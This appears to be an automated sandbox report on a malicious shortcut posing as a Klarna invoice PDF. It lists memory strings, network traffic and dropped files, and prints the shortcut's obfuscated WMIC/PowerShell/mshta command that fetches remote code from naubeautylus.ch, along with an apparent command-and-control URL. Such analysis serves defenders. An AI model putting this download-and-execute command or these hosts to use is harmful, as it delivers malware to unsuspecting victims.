Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: pyexec.exe, 00000012.00000002.2153513648.0000000008845000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008800000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FA5000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.00000000050D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0/
Source: powershell.exe, 00000006.00000002.1948905614.000001EF00001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000006.00000002.2073347152.000001EF10072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.2073347152.000001EF10072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.2073347152.000001EF10072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp, pyexec.exe.17.dr, pyexec.exe.18.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp, pyexec.exe.17.dr, pyexec.exe.18.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: pyexec.exe.17.dr, pyexec.exe.18.dr	String found in binary or memory: https://d.symcb.com/rpa0.
Source: svchost.exe, 00000005.00000003.1807192834.000001EFFC242000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.5.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.5.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.5.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000005.00000003.1807192834.000001EFFC242000.00000004.00000800.00020000.00000000.sdmp, edb.log.5.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: powershell.exe, 00000006.00000002.1948905614.000001EF0022A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: mshta.exe, 00000004.00000002.2245400231.000001C8462C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2235882267.000001C8462C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2218602445.000001C8462C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.c
Source: powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1948905614.000001EF0022A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch
Source: mshta.exe, 00000004.00000002.2245031576.000001C846286000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2228118175.000001C846286000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2221355733.000001C846286000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/
Source: mshta.exe, 00000004.00000002.2244789492.000001C846210000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2221355733.000001C846286000.00000004.00000020.00020000.00000000.sdmp, KlarnaInvoice229837.pdf.lnk	String found in binary or memory: https://naubeautylus.ch/Headerfrontend
Source: powershell.exe	String found in binary or memory: https://naubeautylus.ch/Headerfrontend$global:?
Source: mshta.exe, 00000004.00000002.2246667189.000001D048D81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/Headerfrontend...
Source: mshta.exe, 00000004.00000002.2244789492.000001C846210000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/Headerfrontend2
Source: mshta.exe, 00000004.00000003.2228118175.000001C846251000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2221355733.000001C846250000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2245031576.000001C846251000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/Headerfrontend:
Source: mshta.exe, 00000004.00000002.2244789492.000001C846210000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/HeaderfrontendC:
Source: mshta.exe, 00000004.00000002.2244755190.000001C846200000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/HeaderfrontendH
Source: mshta.exe, 00000004.00000003.2228118175.000001C846286000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2221355733.000001C846286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/HeaderfrontendWWC:
Source: WMIC.exe, 00000000.00000002.1752768362.0000017A53C70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/HeaderfrontendamFiles=C:
Source: mshta.exe, 00000004.00000003.2228118175.000001C846251000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2221355733.000001C846250000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2245031576.000001C846251000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/Headerfrontendf
Source: mshta.exe, 00000004.00000003.2228736011.000001D04BFA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/Headerfrontendhttps://naubeautylus.ch/Headerfrontend07
Source: mshta.exe, 00000004.00000003.2228118175.000001C846251000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2221355733.000001C846250000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2245031576.000001C846251000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/Headerfrontendj
Source: mshta.exe, 00000004.00000002.2245886446.000001C8463F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/HeaderfrontenduserLOCAL
Source: WMIC.exe, 00000000.00000003.1750973050.0000017A53AF9000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000000.00000002.1752627353.0000017A53B06000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000000.00000003.1751097652.0000017A53B05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/Headerfrontendm
Source: mshta.exe, 00000004.00000002.2245031576.000001C846286000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2228118175.000001C846286000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2221355733.000001C846286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/Headerfrontendoft
Source: mshta.exe, 00000004.00000003.2220749210.000001D04CE59000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2247390039.000001D04CE59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/HeaderfrontendsLMEMP
Source: mshta.exe, 00000004.00000002.2244789492.000001C846239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/Headerfrontendt
Source: powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/I
Source: powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/IM
Source: powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/IMA
Source: powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/IMAK
Source: powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/IMAKB
Source: powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/IMAKBW
Source: powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/IMAKBWP
Source: powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/IMAKBWPY
Source: powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/IMAKBWPY.
Source: powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/IMAKBWPY.e
Source: powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/IMAKBWPY.ex
Source: powershell.exe, 00000006.00000002.1948905614.000001EF0069E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/IMAKBWPY.exe
Source: powershell.exe, 00000006.00000002.1948905614.000001EF0022A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://naubeautylus.ch/KlarnaInvoice42611.pdf
Source: powershell.exe, 00000006.00000002.2073347152.000001EF10072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 00000005.00000003.1807192834.000001EFFC242000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.5.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: explorer.exe, 00000016.00000003.2570257382.00000000033C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2570568622.0000000003420000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2570696781.0000000003428000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://passworoggre.click/
Source: explorer.exe, 00000016.00000003.2570257382.00000000033C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2570568622.0000000003420000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2570696781.0000000003428000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://passworoggre.click/Q
Source: explorer.exe, 00000016.00000003.2570257382.00000000033B2000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2570696781.000000000342D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572340840.0000000003431000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2570822412.000000000342F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2570257382.00000000033C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2570257382.00000000033A0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572041044.00000000033B2000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2570985206.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572041044.00000000033A0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572182630.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://passworoggre.click/api
Source: explorer.exe, 00000016.00000003.2570257382.00000000033C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2570985206.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572182630.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://passworoggre.click/apiO
Source: explorer.exe, 00000016.00000003.2570257382.00000000033B2000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572041044.00000000033B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://passworoggre.click:443/api
Source: pyexec.exe.17.dr, pyexec.exe.18.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: pyexec.exe, 00000012.00000002.2153513648.000000000889B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2349631887.0000000008856000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2528849936.0000000004FED000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2572772667.000000000511D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 62.182.21.105:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.182.21.105:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.59.81:443 -> 192.168.2.4:49815 version: TLS 1.2

System Summary

Contains functionality to create processes via WMI

Source: WMIC.exe, 00000000.00000002.1752768362.0000017A53C7A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ows\System32\Wbem\wmic.exe" process call create "powershell -w 1 . \W*\S*2\m*ht*e https://naubeautylus.ch/Headerfrontend"

memstr_d709ac6b-6

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\IMAKBWPY.exe

Jump to dropped file

Windows shortcut file (LNK) contains suspicious command line arguments

Source: KlarnaInvoice229837.pdf.lnk

LNK file: process call create "powershell -w 1 . \W*\S*2\m*ht*e https://naubeautylus.ch/Headerfrontend"

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe

File deleted: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe

Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009D001D	16_2_009D001D
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009C41EA	16_2_009C41EA
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009A62AA	16_2_009A62AA
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009D03D5	16_2_009D03D5
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009CC332	16_2_009CC332
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009DA560	16_2_009DA560
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009D07AA	16_2_009D07AA
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009AA8F1	16_2_009AA8F1
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009DAA0E	16_2_009DAA0E
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009CFB89	16_2_009CFB89
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009D0B6F	16_2_009D0B6F
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009D2C18	16_2_009D2C18
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009D2E47	16_2_009D2E47
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009DEE7C	16_2_009DEE7C
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_0026001D	17_2_0026001D
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_002541EA	17_2_002541EA
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_002362AA	17_2_002362AA
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_0025C332	17_2_0025C332
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_002603D5	17_2_002603D5
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_0026A560	17_2_0026A560
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_002607AA	17_2_002607AA
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_0023A8F1	17_2_0023A8F1
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_0026AA0E	17_2_0026AA0E
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_00260B6F	17_2_00260B6F
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_0025FB89	17_2_0025FB89
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_00262C18	17_2_00262C18
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_0026EE7C	17_2_0026EE7C
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_00262E47	17_2_00262E47
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_10039030	17_2_10039030
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_100330E0	17_2_100330E0
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_10038180	17_2_10038180
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_100361D0	17_2_100361D0
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_1002C2C0	17_2_1002C2C0
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_100452CC	17_2_100452CC
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_1000C300	17_2_1000C300
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_1000F350	17_2_1000F350
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_1001C360	17_2_1001C360
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_10048360	17_2_10048360
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_100383A0	17_2_100383A0
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_1002E3B0	17_2_1002E3B0
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_100384D0	17_2_100384D0
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_1000B570	17_2_1000B570
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_1002D580	17_2_1002D580
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_10002640	17_2_10002640
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_10038640	17_2_10038640
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_100277C0	17_2_100277C0
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_10028820	17_2_10028820
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_10038900	17_2_10038900
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_10048990	17_2_10048990
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_1002F9E0	17_2_1002F9E0
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_1002DA20	17_2_1002DA20
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_10039A50	17_2_10039A50
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_10038AC0	17_2_10038AC0
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_10047AE0	17_2_10047AE0
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_1002BAF0	17_2_1002BAF0
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_10039B90	17_2_10039B90
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_10039CE0	17_2_10039CE0
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_1001CE00	17_2_1001CE00
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_10046E70	17_2_10046E70
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_1003DE79	17_2_1003DE79
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_1001FE90	17_2_1001FE90
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_1002EF00	17_2_1002EF00
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Code function: 18_2_6C1F8DF0	18_2_6C1F8DF0
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Code function: 18_2_6C123F10	18_2_6C123F10
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Code function: 18_2_6C1F9F30	18_2_6C1F9F30
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Code function: 18_2_6C122290	18_2_6C122290
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Code function: 18_2_6C1FBBC0	18_2_6C1FBBC0
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Code function: 18_2_6C1213E0	18_2_6C1213E0
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Code function: 18_2_6C1213E1	18_2_6C1213E1

Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Code function: String function: 6C1B7460 appears 36 times
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Code function: String function: 6C2308E0 appears 256 times
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Code function: String function: 6C1DCAD0 appears 120 times
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Code function: String function: 6C22FDF0 appears 221 times
